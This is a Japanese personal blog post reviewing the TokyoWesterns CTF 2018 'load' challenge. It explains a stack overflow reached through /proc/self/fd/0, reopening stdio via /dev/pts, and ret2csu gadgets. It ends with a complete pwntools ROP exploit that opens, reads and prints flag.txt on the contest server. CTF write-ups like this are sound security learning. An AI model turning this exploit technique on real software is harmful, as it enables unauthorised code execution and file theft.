fr33f0r4ll

自分用雑記

TokyoWesterns CTF 2018 load 復習

TokyoWesterns CTF 2018 load 復習

答えを見ながら復習。

実行してみるとどうもファイルを読み込んでるっぽい。 リモートホストで実行すると、flag.txtという名前のファイルが読み込める。

/proc/self/fd/0がopenできるので、ファイルの代わりに標準入力を開くことができる。 ファイルの内容を読み込むときにmainでバッファオーバーフローしてるのでripが取れる。

がしかし、mainの最後で標準入出力が全部closeされるためフラグを出力させることができない。ここで詰まった。

Writeupを見ると、/dev/pts/?で再度標準入出力を開けるらしい。詳しい仕組みはまだ分からない。 さらに、ROPのためにcsu_initを利用する。

csu_initについて

http://inaz2.hatenablog.com/entry/2014/07/31/010158 ももいろテクノロジー様々、これによるとglibc__libc_csu_initを利用すると任意の3引数関数が呼び出せるらしい。 __libc_csu_initの以下の部分が利用できる。

4005f0:       4c 89 fa                mov    rdx,r15
4005f3:       4c 89 f6                mov    rsi,r14
4005f6:       44 89 ef                mov    edi,r13d
4005f9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
4005fd:       48 83 c3 01             add    rbx,0x1
400601:       48 39 eb                cmp    rbx,rbp
400604:       75 ea                   jne    4005f0 <__libc_csu_init+0x50>
400606:       48 8b 5c 24 08          mov    rbx,QWORD PTR [rsp+0x8]
40060b:       48 8b 6c 24 10          mov    rbp,QWORD PTR [rsp+0x10]
400610:       4c 8b 64 24 18          mov    r12,QWORD PTR [rsp+0x18]
400615:       4c 8b 6c 24 20          mov    r13,QWORD PTR [rsp+0x20]
40061a:       4c 8b 74 24 28          mov    r14,QWORD PTR [rsp+0x28]
40061f:       4c 8b 7c 24 30          mov    r15,QWORD PTR [rsp+0x30]
400624:       48 83 c4 38             add    rsp,0x38
400628:       c3                      ret

ただし、実際にコンパイルしてみたコードとは微妙に違う。

0x00400580      4c89ea         mov rdx, r13
0x00400583      4c89f6         mov rsi, r14
0x00400586      4489ff         mov edi, r15d
0x00400589      41ff14dc       call qword [r12 + rbx*8]
0x0040058d      4883c301       add rbx, 1
0x00400591      4839eb         cmp rbx, rbp
0x00400594      75ea           jne 0x400580
0x00400596      4883c408       add rsp, 8
0x0040059a      5b             pop rbx
0x0040059b      5d             pop rbp
0x0040059c      415c           pop r12
0x0040059e      415d           pop r13
0x004005a0      415e           pop r14
0x004005a2      415f           pop r15
0x004005a4      c3             ret

loadだと以下のような感じになってる。実際にコンパイルした場合のコードと一致する。

  400a50:    4c 89 ea                mov    rdx,r13
  400a53:   4c 89 f6                mov    rsi,r14
  400a56:   44 89 ff               mov    edi,r15d
  400a59:   41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  400a5d:   48 83 c3 01           add    rbx,0x1
  400a61:   48 39 eb               cmp    rbx,rbp
  400a64:   75 ea                   jne    400a50 <stdout@@GLIBC_2.2.5-0x2005d0>
  400a66:   48 83 c4 08           add    rsp,0x8
  400a6a:   5b                      pop    rbx
  400a6b:   5d                      pop    rbp
  400a6c:   41 5c                  pop    r12
  400a6e:   41 5d                  pop    r13
  400a70:   41 5e                  pop    r14
  400a72:   41 5f                  pop    r15
  400a74:   c3                       ret

rdxへの値のセット

とりあえずloadの方でrdi, rsi rdxをセットする方法を考える。 次の手順でいけそう。

  1. 0x400a6aからスタートする。rbx, rbp, r12, r13, r14, r15に値が設定できる。
  2. retで400a50に飛ぶ。ここでmov rdx,r13rdxに値が設定できる。 => r13 = rdx
  3. rsiにr14が設定。 => r14 = rsi
  4. ediにr15dが設定される、これは使わない方が良いかもしれない。上位ビットが設定できない。
  5. call QWORD PTR [r12+rbx*8]が入るので、[r12 + rbx * 8] -> ret;となるように調整する。 => [r12 + rbx * 8] -> ret;
  6. jneでのジャンプがあるので、rbx + 1 == rbpとなるようにrbxを設定しておく。 => rbx + 1 == rbp
  7. そのあとはスタックを消費するだけなので、適当にパディングすれば良い。

rdiをセットするガジェットはあったので、それを使えば問題ない。

Exploit

流れとしてはまず、/proc/self/fd/0を開かせてバッファオーバーフローを引き起こす。 NXビットが立ってるのでROPする。

ROPでflag.txtを開き、読み込み、出力することを目指す。 まず/dev/pts/?を適当に指定し2回開くことで0と1のファイルディスクリプタ、つまりstdinとstdoutを設定する。 これでputsでstdoutに出力されるようになる。

次にflag.txtを開く、これはfdが2になる。 その次にreadでbss領域にファイルの内容を読み込む。 最後はその読み込んだ内容を出力する。

/dev/pts/?のopenがうまくいっていれば、フラグが表示される。 何回か繰り返すとうまくいく、だいたい0~3らしい。0でうまくいった。

最終的にExploitは以下のようになる。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import time

context.update(arch='amd64')
exe = './pwn_load'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote('pwn1.chal.ctf.westerns.tokyo', 34835)
    else:
        return process([exe] + argv, *a, **kw)


# gdb
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

elf = ELF(exe)

# file names
stdin_path = '/proc/self/fd/0'
pts_path = '/dev/pts/' + args.PTS
flag_txt = 'flag.txt'

# gadget
pop_rdi = 0x00400a73  # pop rdi ; ret
pop2_rsi = 0x00400a71  # pop rsi ; pop r15 ; ret  ;
csu_init1 = 0x400a50  # mov rdx,r13; move rsi,r14; ...
csu_init2 = 0x400a6a  # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
ret = 0x004006a9  # ret

# address
main = 0x00400823
global_buf = 0x601040
bss = 0x601000
pts_path_addr = global_buf + len(stdin_path) + 1
flag_path_addr = global_buf + len(stdin_path) + 1 + len(pts_path) + 1
rbp = 0x7fffffffd720


def set_rdi(rdi_val):
    return p64(pop_rdi) + p64(rdi_val)


def set_rdi_rsi(rdi_val, rsi_val):
    payload = set_rdi(rdi_val)
    payload += p64(pop2_rsi)
    payload += p64(rsi_val)
    payload += "A" * 8  # padding

    return payload


def set_rdi_rsi_rdx(rdi_val, rsi_val, rdx_val):
    # r13 -> rdx, r14 -> rsi, [r12 + rbx * 8] -> ret, rbx + 1 == rbp
    dummy_val = 0x4141414141414141
    rbx = rbp - 1
    # this work unless rbx * 8 == addr
    trg = global_buf + len(stdin_path) + 1 + len(pts_path) + 1 + len(
        flag_txt) + 1
    neg_r12 = trg - rbx * 8
    mod = 0x10000000000000000
    r12 = mod * (-neg_r12 // mod + 1) + neg_r12
    # At this point, r12+rbx*8 points ret by reg overflow
    r13 = rdx_val
    r14 = rsi_val
    r15 = dummy_val

    # payload construction
    payload = p64(csu_init2)
    payload += p64(rbx)
    payload += p64(rbp)
    payload += p64(r12)
    payload += p64(r13)
    payload += p64(r14)
    payload += p64(r15)
    payload += p64(csu_init1)
    payload += p64(dummy_val)  # for add rsp,0x8
    payload += p64(dummy_val)  # rbx
    payload += p64(dummy_val)  # rbp
    payload += p64(dummy_val)  # r12
    payload += p64(dummy_val)  # r13
    payload += p64(dummy_val)  # r14
    payload += p64(dummy_val)  # r15
    payload += set_rdi(rdi_val)  # can't set rdi but gadget exists!

    return payload


# payload construction
payload = 'A' * 0x30 + p64(rbp)  # padding

# call open pts => fd = 0
payload += set_rdi_rsi(pts_path_addr, constants.O_RDWR)  # 0x2702
payload += p64(elf.plt['open'])

# call open pts => fd 1
payload += set_rdi_rsi(pts_path_addr, constants.O_RDWR)  # 0x2702
payload += p64(elf.plt['open'])

# call open flag => fd 2
payload += set_rdi_rsi(flag_path_addr, constants.O_RDONLY)
payload += p64(elf.plt['open'])

# read flag to global by fgets
payload += set_rdi_rsi_rdx(2, bss, 0x100)
payload += p64(elf.plt['read'])

# puts flag to pts
payload += set_rdi(bss)
payload += p64(elf.plt['puts'])

print()
if args.WAIT:
    time.sleep(5)

io.sendline(stdin_path + '\0' + pts_path + '\0' + flag_txt + '\0' + p64(ret))
io.sendline('0')  # offset 0
io.sendline(str(len(payload)))  # payload length

io.clean()
io.sendline(payload)

io.interactive()